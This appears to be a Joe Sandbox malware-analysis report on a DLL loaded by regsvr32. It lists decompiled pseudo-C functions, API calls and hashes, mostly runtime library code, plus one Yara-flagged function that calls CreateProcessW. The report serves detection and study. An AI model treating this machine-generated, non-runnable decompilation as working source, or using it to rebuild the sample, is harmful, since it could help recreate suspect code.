Associated: 00000003.00000002.257261203.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257269166.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257276134.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257283583.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffe354e0000_regsvr32.jbxd

Similarity

API ID: ExitProcess
String ID: DllRegisterServer
API String ID: 621844428-1663957109
Opcode ID: daa4509797ac003af5991cc102a2f8bbc2bd6225bef9e83475646ccea547d58a
Instruction ID: 73e58009b2a713013c57607dfb60eda73817cd33d7665a091cda0e008fa675eb
Opcode Fuzzy Hash: daa4509797ac003af5991cc102a2f8bbc2bd6225bef9e83475646ccea547d58a
Instruction Fuzzy Hash: 4DD01775908B83A1E6209B90E80939A27B0BF88F08F800531D58D86374DF3CE20ADB00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354EA9DC Relevance: 3.0, APIs: 2, Instructions: 19
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 68%

			E00007FFE7FFE354EA9DC(long long __rax, void* __rcx) {
				void* _t4;
				void* _t5;
				void* _t9;

				if (__rcx == 0) goto 0x354eaa17;
				HeapFree(_t9, ??); // executed
				if (__rax != 0) goto 0x354eaa12;
				GetLastError();
				E00007FFE7FFE354EB34C(_t5, __rax, __rax, __rcx);
				_t4 = E00007FFE7FFE354EB420(__rax);
				 *((long long*)(__rax)) = __rax;
				return _t4;
			}

0x7ffe354ea9df
0x7ffe354ea9f2
0x7ffe354ea9fa
0x7ffe354ea9fc
0x7ffe354eaa04
0x7ffe354eaa0b
0x7ffe354eaa10
0x7ffe354eaa17

APIs

RtlReleasePrivilege.NTDLL(?,?,00000000,00007FFE354EF492,?,?,?,00007FFE354EF4CF,?,?,00000000,00007FFE354EF144,?,?,?,00007FFE354EF077), ref: 00007FFE354EA9F2
GetLastError.KERNEL32(?,?,00000000,00007FFE354EF492,?,?,?,00007FFE354EF4CF,?,?,00000000,00007FFE354EF144,?,?,?,00007FFE354EF077), ref: 00007FFE354EA9FC

Memory Dump Source

Source File: 00000003.00000002.256984797.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000003.00000002.256975911.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257084588.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257261203.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257269166.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257276134.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257283583.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffe354e0000_regsvr32.jbxd

Similarity

API ID: ErrorLastPrivilegeRelease
String ID:
API String ID: 1334314998-0
Opcode ID: 1178260e8bffcb175f16ce8929f72affff1d2575aebcf493ec367cb625912061
Instruction ID: ddfd35457c506c45aca26fd8b6864edfc24f7a9ff2fcec35fea4d198badeed21
Opcode Fuzzy Hash: 1178260e8bffcb175f16ce8929f72affff1d2575aebcf493ec367cb625912061
Instruction Fuzzy Hash: 66E046A5E0A703A2FE1C6BB2684E03829A25F94F00F514034CC0A823B2EE2CA8456204

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800284B0 Relevance: 1.6, APIs: 1, Instructions: 121processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE ref: 000000018002867E

Memory Dump Source

Source File: 00000003.00000002.256727170.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 16f61cbd6d489d93c3999831aad5c05b50de217028ac9f2dcc58791474f8e422
Instruction ID: b9dfd44ec2654d149dbfc67a3d285e1c446cc2681133f70a5a1c8efdf6c35088
Opcode Fuzzy Hash: 16f61cbd6d489d93c3999831aad5c05b50de217028ac9f2dcc58791474f8e422
Instruction Fuzzy Hash: 59415D7090C7848FE7B8DF18D48979ABBE0FB88315F108A1EE48DC7291DB349448CB46

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354E22B0 Relevance: 1.6, APIs: 1, Instructions: 57
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 50%

			E00007FFE7FFE354E22B0(long long __rax, long long __rcx, long long __rdx, long long _a8, long long _a16, signed char _a24) {
				long long _v16;
				long long _v24;
				void* _t36;
				intOrPtr* _t45;
				signed long long _t46;
				intOrPtr* _t48;

				_t45 = __rax;
				_a24 = r8b;
				_a16 = __rdx;
				_a8 = __rcx;
				E00007FFE7FFE354E2830(__rax, _a8);
				if (_t45 - _a16 >= 0) goto 0x354e22de;
				E00007FFE7FFE354E2230(_a8);
				E00007FFE7FFE354E2150(_t45, _a8);
				if ( *_t45 - _a16 >= 0) goto 0x354e2310;
				E00007FFE7FFE354E2170(_t45, _a8);
				E00007FFE7FFE354E2600(_a8, _a16,  *_t45); // executed
				goto 0x354e237a;
				_t46 = _a24 & 0x000000ff;
				if (_t46 == 0) goto 0x354e2366;
				if (_a16 - 0x10 >= 0) goto 0x354e2366;
				E00007FFE7FFE354E2170(_t46, _a8);
				if (_a16 -  *_t46 >= 0) goto 0x354e2341;
				_t48 = _a16;
				_v16 = _t48;
				goto 0x354e2353;
				E00007FFE7FFE354E2170(_t48, _a8);
				_t49 =  *_t48;
				_v16 =  *_t48;
				E00007FFE7FFE354E1910(1,  *_t48, _a8, _v16);
				goto 0x354e237a;
				if (_a16 != 0) goto 0x354e237a;
				_t36 = E00007FFE7FFE354E23A0(_t49, _a8, 0);
				if (_a16 <= 0) goto 0x354e238c;
				_v24 = 1;
				goto 0x354e2394;
				_v24 = 0;
				return _t36;
			}

0x7ffe354e22b0
0x7ffe354e22b0
0x7ffe354e22b5
0x7ffe354e22ba
0x7ffe354e22c8
0x7ffe354e22d2
0x7ffe354e22d9
0x7ffe354e22e3
0x7ffe354e22f0
0x7ffe354e22f7
0x7ffe354e2309
0x7ffe354e230e
0x7ffe354e2310
0x7ffe354e2317
0x7ffe354e231f
0x7ffe354e2326
0x7ffe354e2333
0x7ffe354e2335
0x7ffe354e233a
0x7ffe354e233f
0x7ffe354e2346
0x7ffe354e234b
0x7ffe354e234e
0x7ffe354e235f
0x7ffe354e2364
0x7ffe354e236c
0x7ffe354e2375
0x7ffe354e2380
0x7ffe354e2382
0x7ffe354e238a
0x7ffe354e238c
0x7ffe354e239d

APIs

Part of subcall function 00007FFE354E2830: Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FFE354E283E
Part of subcall function 00007FFE354E2830: Concurrency::details::SchedulerBase::ThrottlerDispatchBridge.LIBCMTD ref: 00007FFE354E284B

_Mtx_guard::~_Mtx_guard.LIBCPMTD ref: 00007FFE354E22D9

Part of subcall function 00007FFE354E2170: Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FFE354E217E

Memory Dump Source

Source File: 00000003.00000002.256984797.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000003.00000002.256975911.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257084588.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257261203.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257269166.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257276134.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257283583.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffe354e0000_regsvr32.jbxd

Similarity

API ID: Concurrency::details::$EmptyQueue::StructuredWork$Base::BridgeDispatchMtx_guardMtx_guard::~_SchedulerThrottler
String ID:
API String ID: 1903167320-0
Opcode ID: 8412a15bbd2f4d89551e98d62f984fcb6a76ab0910fb464f93224fef732d8c49
Instruction ID: ed215398b3dd74d896f0e635ec788b934bc2bdb3a5cb71862346e09ea5bba6f7
Opcode Fuzzy Hash: 8412a15bbd2f4d89551e98d62f984fcb6a76ab0910fb464f93224fef732d8c49
Instruction Fuzzy Hash: 5621BC3290CB4381DA249B25E45436EAB60FBC6F84F710535E78E477B9CE6DD940AB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354F060C Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E00007FFE7FFE354F060C(void* __ecx, void* __rax, long long __rbx, long long __rdi, long long __rsi, long long _a8, long long _a16, long long _a24) {
				void* _t8;
				void* _t17;

				_a8 = __rbx;
				_a16 = __rsi;
				_a24 = __rdi;
				if (_t17 - 0x2000 < 0) goto 0x354f0654;
				_t8 = E00007FFE7FFE354EB420(__rax);
				asm("invalid");
				return _t8;
			}

0x7ffe354f060c
0x7ffe354f0611
0x7ffe354f0616
0x7ffe354f0629
0x7ffe354f062b
0x7ffe354f063a
0x7ffe354f0653

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FFE354F0637

Memory Dump Source

Source File: 00000003.00000002.256984797.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000003.00000002.256975911.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257084588.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257261203.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257269166.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257276134.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257283583.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffe354e0000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 9630306cbb1685fa6066e691d321c691ce288c67f2e3b59aeca8e9753d6d96fe
Instruction ID: 388901f59fc02adc185fe2907031fc9aa8aab083fdc4f4a94789874ef5e9d503
Opcode Fuzzy Hash: 9630306cbb1685fa6066e691d321c691ce288c67f2e3b59aeca8e9753d6d96fe
Instruction Fuzzy Hash: E9116A3690974382F3189B19A4485796BA0EFC0F44F160534E68F4BBB2DE7CF820AB00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354EAAD0 Relevance: 1.5, APIs: 1, Instructions: 36
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00007FFE7FFE354EAAD0(void* __eax, signed int __rcx, signed int __rdx) {
				void* _t9;

				if (__rcx == 0) goto 0x354eaaef;
				if (0xffffffffffffffe0 - __rdx < 0) goto 0x354eab32;
				_t22 =  ==  ? 0x1 : __rcx * __rdx;
				goto 0x354eab16;
				E00007FFE7FFE354EE958();
				if (0x1 == 0) goto 0x354eab32;
				E00007FFE7FFE354E97EC(0x1,  ==  ? 0x1 : __rcx * __rdx);
				if (0x1 == 0) goto 0x354eab32;
				if (0x1 == 0) goto 0x354eab01;
				goto 0x354eab3f;
				_t9 = E00007FFE7FFE354EB420(0x1);
				 *0x1 = 0xc;
				return _t9;
			}

0x7ffe354eaadf
0x7ffe354eaaed
0x7ffe354eaafc
0x7ffe354eaaff
0x7ffe354eab01
0x7ffe354eab08
0x7ffe354eab0d
0x7ffe354eab14
0x7ffe354eab2e
0x7ffe354eab30
0x7ffe354eab32
0x7ffe354eab37
0x7ffe354eab44

APIs

RtlAllocateHeap.NTDLL(?,?,00000000,00007FFE354EBAAE,?,?,?,00007FFE354EB429,?,?,?,?,00007FFE354F0426,?,?,00000000), ref: 00007FFE354EAB25

Memory Dump Source

Source File: 00000003.00000002.256984797.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000003.00000002.256975911.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257084588.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257261203.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257269166.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257276134.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257283583.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffe354e0000_regsvr32.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 280286a628102559a8464dffd4b609b20cb420f0fe1f18d1be992a8bc7a4b5f6
Instruction ID: 1f2e27171f744f076f7cbe9faa07103f65e564dfdd04d3a42eaf3e6130f02e01
Opcode Fuzzy Hash: 280286a628102559a8464dffd4b609b20cb420f0fe1f18d1be992a8bc7a4b5f6
Instruction Fuzzy Hash: 9DF06D64B0A30785FE5C5B62945D2B50A965FD4F40F6E4430CE0F863F2ED6CE889A310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354EAA18 Relevance: 1.5, APIs: 1, Instructions: 29
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 37%

			E00007FFE7FFE354EAA18(void* __rax, void* __rcx) {
				void* _t4;

				if (__rcx - 0xffffffe0 > 0) goto 0x354eaa63;
				goto 0x354eaa4a;
				E00007FFE7FFE354EE958();
				if (0x1 == 0) goto 0x354eaa63;
				E00007FFE7FFE354E97EC(0x1, __rcx);
				if (0x1 == 0) goto 0x354eaa63;
				RtlAllocateHeap(??, ??, ??); // executed
				if (0x1 == 0) goto 0x354eaa35;
				goto 0x354eaa70;
				_t4 = E00007FFE7FFE354EB420(0x1);
				 *0x1 = 0xc;
				return _t4;
			}

0x7ffe354eaa25
0x7ffe354eaa33
0x7ffe354eaa35
0x7ffe354eaa3c
0x7ffe354eaa41
0x7ffe354eaa48
0x7ffe354eaa56
0x7ffe354eaa5f
0x7ffe354eaa61
0x7ffe354eaa63
0x7ffe354eaa68
0x7ffe354eaa75

APIs

RtlAllocateHeap.NTDLL(?,?,?,00007FFE354F040D,?,?,00000000,00007FFE354ED8B7,?,?,?,00007FFE354EA427,?,?,?,00007FFE354EA31D), ref: 00007FFE354EAA56

Memory Dump Source

Source File: 00000003.00000002.256984797.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000003.00000002.256975911.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257084588.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257261203.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257269166.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257276134.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257283583.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffe354e0000_regsvr32.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 4885db743ff87431de90f68300da65782b6b7874996cc61f6450c8fa48a4abb9
Instruction ID: 4be81d47e3385369e75cf6352c6d7898672cfea55a1a7851bddcc45530109139
Opcode Fuzzy Hash: 4885db743ff87431de90f68300da65782b6b7874996cc61f6450c8fa48a4abb9
Instruction Fuzzy Hash: E5F05821E0E30745FE686A625A4E27529904FC4FA0F2E0A30DC2F863E1DE2CA4417760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354E1540 Relevance: 1.5, APIs: 1, Instructions: 13
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E00007FFE7FFE354E1540(long long __rcx, long long _a8) {
				long long _v24;
				void* _t11;
				void* _t17;

				_a8 = __rcx;
				_v24 = 0xfffffffe;
				r8d = 0;
				E00007FFE7FFE354E1910(1, _t11, _a8, _t17); // executed
				return E00007FFE7FFE354E17A0(_a8);
			}

0x7ffe354e1540
0x7ffe354e1549
0x7ffe354e1552
0x7ffe354e155c
0x7ffe354e1571

APIs

Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FFE354E1567

Part of subcall function 00007FFE354E17A0: Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FFE354E17B1

Memory Dump Source

Source File: 00000003.00000002.256984797.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000003.00000002.256975911.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257084588.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257261203.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257269166.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257276134.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257283583.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffe354e0000_regsvr32.jbxd

Similarity

API ID: Concurrency::details::EmptyQueue::StructuredWork
String ID:
API String ID: 1865873047-0
Opcode ID: 1bd39886feb57d30d74c3629fbbe9167a18a0f50d6d703a3308aa091c38b80aa
Instruction ID: f3e4bbd5c5d072dba515f7f7498f5f482c61074d411be11844975fa468e503be
Opcode Fuzzy Hash: 1bd39886feb57d30d74c3629fbbe9167a18a0f50d6d703a3308aa091c38b80aa
Instruction Fuzzy Hash: 8FD05B319646C241C5106720D44501D5720F7C2B70FB06720EAFD036E5CE19D5018B00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354E1B10 Relevance: 1.5, APIs: 1, Instructions: 11
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E00007FFE7FFE354E1B10(void* __rax, long long __rcx, long long __rdx, long long _a8, long long _a16) {
				void* _t7;
				void* _t8;

				_t8 = __rax;
				_a16 = __rdx;
				_a8 = __rcx;
				E00007FFE7FFE354E11A0(_a16);
				_t7 = E00007FFE7FFE354E1B40(_t8, _a8, _a16, _t8); // executed
				return _t7;
			}

0x7ffe354e1b10
0x7ffe354e1b10
0x7ffe354e1b15
0x7ffe354e1b23
0x7ffe354e1b35
0x7ffe354e1b3e

APIs

char_traits.LIBCPMTD ref: 00007FFE354E1B23

Part of subcall function 00007FFE354E1B40: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E1B6E

Memory Dump Source

Source File: 00000003.00000002.256984797.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000003.00000002.256975911.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257084588.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257261203.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257269166.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257276134.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257283583.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffe354e0000_regsvr32.jbxd

Similarity

API ID: Base::Concurrency::details::ContextIdentityQueueWorkchar_traits
String ID:
API String ID: 1444011685-0
Opcode ID: f789d12e206d7980509269e3e814af15646fd7b4fc038a1338794e0a1668acec
Instruction ID: 743aea2590834c0a26b37cf7a8a23559460dae9aaaf7c67c05a3c85e2c2fe60b
Opcode Fuzzy Hash: f789d12e206d7980509269e3e814af15646fd7b4fc038a1338794e0a1668acec
Instruction Fuzzy Hash: 7DD09E76D29BC181D544EB12F89505EEB60EBC8FC0F506435FA8F42B2ADE28C5514B00

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007FFE354E9474 Relevance: 9.1, APIs: 6, Instructions: 83
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 65%

			E00007FFE7FFE354E9474(void* __ecx, void* __edx, void* __esp, long long __rbx, long long __rdx, long long __rsi, void* __r8) {
				void* __rdi;
				void* _t36;
				long _t42;
				signed long long _t55;
				long long _t58;
				long long _t62;
				void* _t66;
				_Unknown_base(*)()* _t85;
				void* _t91;
				void* _t92;
				void* _t94;
				signed long long _t95;
				struct _EXCEPTION_POINTERS* _t101;

				_t45 = __ecx;
				 *((long long*)(_t94 + 0x10)) = __rbx;
				 *((long long*)(_t94 + 0x18)) = __rsi;
				_t92 = _t94 - 0x4f0;
				_t95 = _t94 - 0x5f0;
				_t55 =  *0x3555e008; // 0x77c614500e1
				 *(_t92 + 0x4e0) = _t55 ^ _t95;
				if (_t66 == 0xffffffff) goto 0x354e94b3;
				E00007FFE7FFE354E493C(_t36);
				r8d = 0x98;
				E00007FFE7FFE354E6920(__ecx, __edx, r8d, __esp, _t95 + 0x70, 0, _t85, __r8);
				r8d = 0x4d0;
				E00007FFE7FFE354E6920(_t45, __edx, r8d, __esp, _t92 + 0x10, 0, _t85, __r8);
				 *((long long*)(_t95 + 0x48)) = _t95 + 0x70;
				_t58 = _t92 + 0x10;
				 *((long long*)(_t95 + 0x50)) = _t58;
				__imp__RtlCaptureContext();
				r8d = 0;
				__imp__RtlLookupFunctionEntry();
				if (_t58 == 0) goto 0x354e9546;
				 *(_t95 + 0x38) =  *(_t95 + 0x38) & 0x00000000;
				 *((long long*)(_t95 + 0x30)) = _t95 + 0x58;
				 *((long long*)(_t95 + 0x28)) = _t95 + 0x60;
				 *((long long*)(_t95 + 0x20)) = _t92 + 0x10;
				__imp__RtlVirtualUnwind();
				 *((long long*)(_t92 + 0x108)) =  *((intOrPtr*)(_t92 + 0x508));
				 *((long long*)(_t95 + 0x70)) = __rdx;
				 *((long long*)(_t92 + 0xa8)) = _t92 + 0x510;
				_t62 =  *((intOrPtr*)(_t92 + 0x508));
				 *((long long*)(_t92 - 0x80)) = _t62;
				 *(_t95 + 0x74) = _t85;
				IsDebuggerPresent();
				SetUnhandledExceptionFilter(_t85, _t91);
				_t42 = UnhandledExceptionFilter(_t101);
				if (_t62 != 0) goto 0x354e95a8;
				if (_t62 != 0) goto 0x354e95a8;
				if (_t66 == 0xffffffff) goto 0x354e95a8;
				return E00007FFE7FFE354E3A70(E00007FFE7FFE354E493C(_t42), _t45, __edx,  *(_t92 + 0x4e0) ^ _t95);
			}

0x7ffe354e9474
0x7ffe354e9474
0x7ffe354e9479
0x7ffe354e9482
0x7ffe354e948a
0x7ffe354e9491
0x7ffe354e949b
0x7ffe354e94ac
0x7ffe354e94ae
0x7ffe354e94ba
0x7ffe354e94c0
0x7ffe354e94cb
0x7ffe354e94d1
0x7ffe354e94db
0x7ffe354e94e4
0x7ffe354e94e8
0x7ffe354e94ed
0x7ffe354e9502
0x7ffe354e9505
0x7ffe354e950e
0x7ffe354e9510
0x7ffe354e9523
0x7ffe354e9530
0x7ffe354e9539
0x7ffe354e9540
0x7ffe354e954d
0x7ffe354e955f
0x7ffe354e9563
0x7ffe354e956a
0x7ffe354e9571
0x7ffe354e9575
0x7ffe354e9579
0x7ffe354e9583
0x7ffe354e958e
0x7ffe354e9596
0x7ffe354e959a
0x7ffe354e959f
0x7ffe354e95ce

APIs

RtlCaptureContext.KERNEL32 ref: 00007FFE354E94ED
RtlLookupFunctionEntry.KERNEL32 ref: 00007FFE354E9505
RtlVirtualUnwind.KERNEL32 ref: 00007FFE354E9540
IsDebuggerPresent.KERNEL32 ref: 00007FFE354E9579
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FFE354E9583
UnhandledExceptionFilter.KERNEL32 ref: 00007FFE354E958E

Memory Dump Source

Source File: 00000003.00000002.256984797.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000003.00000002.256975911.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257084588.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257261203.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257269166.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257276134.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257283583.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffe354e0000_regsvr32.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: d9a81825362c2da034dc73a6dcc45eb26ccc4f6f61a283cd1a377bdfab111a7c
Instruction ID: 9b4db1bad81fef64437d8c6f91741ffee040a1d637c924f740bcc8895aca831f
Opcode Fuzzy Hash: d9a81825362c2da034dc73a6dcc45eb26ccc4f6f61a283cd1a377bdfab111a7c
Instruction Fuzzy Hash: 97316136608B8296DB64CF25E8442AE7BA0FB84F54F500135EA9E43BA4DF3CD2458B00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354E3240 Relevance: 55.8, APIs: 37, Instructions: 252
COMMON

Download Yara Rule

C-Code - Quality: 49%

			E00007FFE7FFE354E3240(void* __edx, void* __eflags, long long __rax, long long __rcx, long long __rdx, long long __r8, long long __r9, long long _a8, long long _a16, long long _a24, long long _a32, intOrPtr _a40, long long _a48) {
				long long _v16;
				long long _v24;
				long long _v32;
				long long _v40;
				long long _v48;
				long long _v56;
				long long _v64;
				long long _v72;
				long long _v80;
				long long _v88;
				long long _v96;
				long long _v104;
				long long _v112;
				long long _v120;
				long long _v128;
				long long _v136;
				long long _t207;
				intOrPtr* _t209;
				intOrPtr _t218;
				intOrPtr _t221;
				long long _t223;
				void* _t225;
				intOrPtr _t228;
				long long _t229;
				void* _t230;
				intOrPtr _t235;
				long long _t237;
				void* _t239;
				void* _t243;
				long long _t245;
				void* _t247;
				long long _t248;
				void* _t249;
				long long _t250;
				void* _t251;
				long long _t257;

				_t207 = __rax;
				_a32 = __r9;
				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				E00007FFE7FFE354E21F0(__eflags, __rax, _a8, _a16);
				E00007FFE7FFE354E21F0(__eflags, __rax, _a32, _a40);
				E00007FFE7FFE354E2400(__eflags, __rax, _a8, _a16, _a24);
				_a24 = _t207;
				E00007FFE7FFE354E2400(__eflags, _t207, _a32, _a40, _a48);
				_a48 = _t207;
				_t209 = 0xffffffff - _a48;
				_v120 = 0xffffffff;
				E00007FFE7FFE354E2170(_t209, _a8);
				_t211 =  *_t209 - _a24;
				if (_v120 - 0xffffffff > 0) goto 0x354e3315;
				E00007FFE7FFE354E2230(_a8);
				E00007FFE7FFE354E2170( *_t209 - _a24, _a8);
				_v136 = 0xffffffff;
				E00007FFE7FFE354E2170( *_t211 - _a24 - _a16, _a8);
				_v128 = 0xffffffff;
				E00007FFE7FFE354E2170( *((intOrPtr*)( *_t211 - _a24 - _a16)) + _a48 - _a24, _a8);
				if ( *0xffffffff - _v128 >= 0) goto 0x354e338e;
				r8d = 0;
				E00007FFE7FFE354E22B0( *((intOrPtr*)( *_t211 - _a24 - _a16)) + _a48 - _a24, _a8, _v128);
				_t218 = _a24;
				if (_a48 != _t218) goto 0x354e33ec;
				E00007FFE7FFE354E18D0(_t218, _a32);
				_v112 = _t218 + _a40;
				E00007FFE7FFE354E18F0(_t218 + _a40, _a8);
				E00007FFE7FFE354E1230(_t218 + _a40 + _a16, _v112, _a48);
				goto 0x354e3810;
				_t221 = _a32;
				if (_a8 == _t221) goto 0x354e34a2;
				E00007FFE7FFE354E18F0(_t221, _a8);
				_t223 = _t221 + _a16 + _a24;
				_v104 = _t223;
				E00007FFE7FFE354E18F0(_t223, _a8);
				_t225 = _t223 + _a16 + _a48;
				E00007FFE7FFE354E1230(_t225, _v104, _v136);
				E00007FFE7FFE354E18D0(_t225, _a32);
				_v96 = _t225 + _a40;
				E00007FFE7FFE354E18F0(_t225 + _a40, _a8);
				E00007FFE7FFE354E11E0(_t225 + _a40 + _a16, _v96, _a48);
				goto 0x354e3810;
				_t228 = _a24;
				if (_a48 - _t228 >= 0) goto 0x354e3558;
				E00007FFE7FFE354E18F0(_t228, _a8);
				_t229 = _t228 + _a40;
				_v88 = _t229;
				E00007FFE7FFE354E18F0(_t229, _a8);
				_t230 = _t229 + _a16;
